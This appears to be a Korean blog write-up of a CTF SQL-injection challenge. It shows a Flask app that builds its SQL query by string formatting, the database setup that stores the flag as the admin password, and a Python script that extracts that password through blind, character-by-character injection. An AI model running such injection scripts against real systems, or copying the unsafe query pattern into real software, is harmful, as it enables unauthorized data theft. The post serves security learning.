Web Hacking/SWLUG 내부 CTF

[SWLUG] Sqli2 - write up

hanbunny 2025. 4. 14. 11:23

🐰시작!

이 창이 뜨고 시작.
소스코드 먼저봄.

from flask import Flask, request, g
import mysql.connector
app = Flask(__name__)
def get_db():
    if 'db' not in g:
        g.db = mysql.connector.connect(
            host='db',  # Docker Compose 서비스 이름
            user='root',
            password='toor',
            database='sqli'
        )
    return g.db
@app.teardown_appcontext
def close_db(exception):
    db = g.pop('db', None)
    if db is not None:
        db.close()
@app.route('/')
def index():
    uid = request.args.get('uid')
    upw = request.args.get('upw')
    query = f"SELECT * FROM sqli2 WHERE uid='{uid}' AND upw='{upw}'"
    print(query) 
    cur = get_db().cursor()
    try:
        cur.execute(query)
        result = cur.fetchone()
    except mysql.connector.Error as e:
        return f"<h3>Database error: {e}</h3>"
    if result:
        output = f"<h3>Success!!</h3>"
    else:
        output = "<h3>Invalid credentials</h3>"
    return f"""
        <h1>level 2</h1>
        <p><b>Query:</b> {query}</p>
        <p><b>Result:</b> {output}</p>
    """
if __name__ == '__main__':
    app.run(host='0.0.0.0')
  try:
        cur.execute(query)
        result = cur.fetchone()
    except mysql.connector.Error as e:
        return f"<h3>Database error: {e}</h3>"

result = cur.fetchone() 를 보면 쿼리 실행 결과에서 첫 번째 행을 가져온다.
그렇기 때문에 첫번째행에 FLAG값이 포함되어 있어야 할 거 같음.

그래서 DB와 연결된 코드를 열어봤다.

import mysql.connector
import os
import time


with open('FLAG.txt', 'r') as file:
    FLAG = file.read().strip()

admin_password = FLAG
guest_password = 'guest'

print(f"Admin password: {admin_password}")

# Wait for the MySQL service to be available
time.sleep(20)

conn = mysql.connector.connect(
    host='db',  # Docker Compose 서비스 이름
    user='root',
    password='toor',
    database='sqli'
)
c = conn.cursor()

# Check if table exists
c.execute('''
    SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema = 'sqli' AND table_name = 'sqli2'
''')
if not c.fetchone():
    c.execute('''
    CREATE TABLE sqli2 (
        id INT AUTO_INCREMENT PRIMARY KEY,
        uid VARCHAR(64) NOT NULL,
        upw VARCHAR(256) NOT NULL,
        name VARCHAR(64) NOT NULL
    )
    ''')
    # Insert guest account first
    c.execute("INSERT INTO sqli2 (uid, upw, name) VALUES (%s, %s, %s)", ('guest', guest_password, 'Guest User'))
    c.execute("INSERT INTO sqli2 (uid, upw, name) VALUES (%s, %s, %s)", ('admin', admin_password, 'Admin User'))
    conn.commit()
else:
    print("Table sqli2 already exists.")

conn.close()

admin_password = FLAG 를 보면 admin_password에 FLAG값이 들어있다.

그래서 먼저 uid에 admin을 넣고 UNION을 사용해 upw값을 나오게 입력해봄.
Success!! 만 뜨는걸 보니 반환되는 값이 Success!! 랑 Invalid credentials 뿐이라
Blind injection을 사용해 FLAG 값을 얻어야 할 거 같다.

그래서 SUBSTRING을 사용해 문자열을 추출해봤음.
Success!!가 뜨는걸 보니 upw의첫번째 글자는 'h’가 맞는 듯.
True 와 False만 뜨기 때문에 하나씩 다 해봐야하는데 시간이 오래걸릴 거 같아 코드로 실행 시킴.

사용코드.

import requests
import string
url = 'http://prob.hspace.io:10002/'
length = 0
pw = ''
chars = string.ascii_letters + string.digits+"{,}!@#$%^&*()_+-="
for i in range(100):
    password_len = f"?uid=admin' and length(upw)='{i}'%23"
    full_url = url + password_len
    res = requests.get(full_url)
    if 'Success!!' in res.text:
        length = i
        print(f"비밀번호의 길이는 {i}")
        break
for j in range(1, length + 1):
    for char in chars:
        payload = f"?uid=admin' and substr(upw,{j},1)='{char}'%23"
        flag_url = url + payload
        resq = requests.get(flag_url)
        if 'Success' in resq.text:
            pw += char
            print(pw)
            break
print("최종 비밀 번호는 " + pw)

'Web Hacking > SWLUG 내부 CTF' 카테고리의 다른 글

[SWLUG] Sqli5 - write up  (0) 2025.04.14
[SWLUG] Sqli4 - write up  (0) 2025.04.14
[SWLUG] Sqli3 - write up  (0) 2025.04.14
[SWLUG] Sqli1 - write up  (0) 2025.04.14
[SWLUG] Sqli0 - write up  (0) 2025.04.14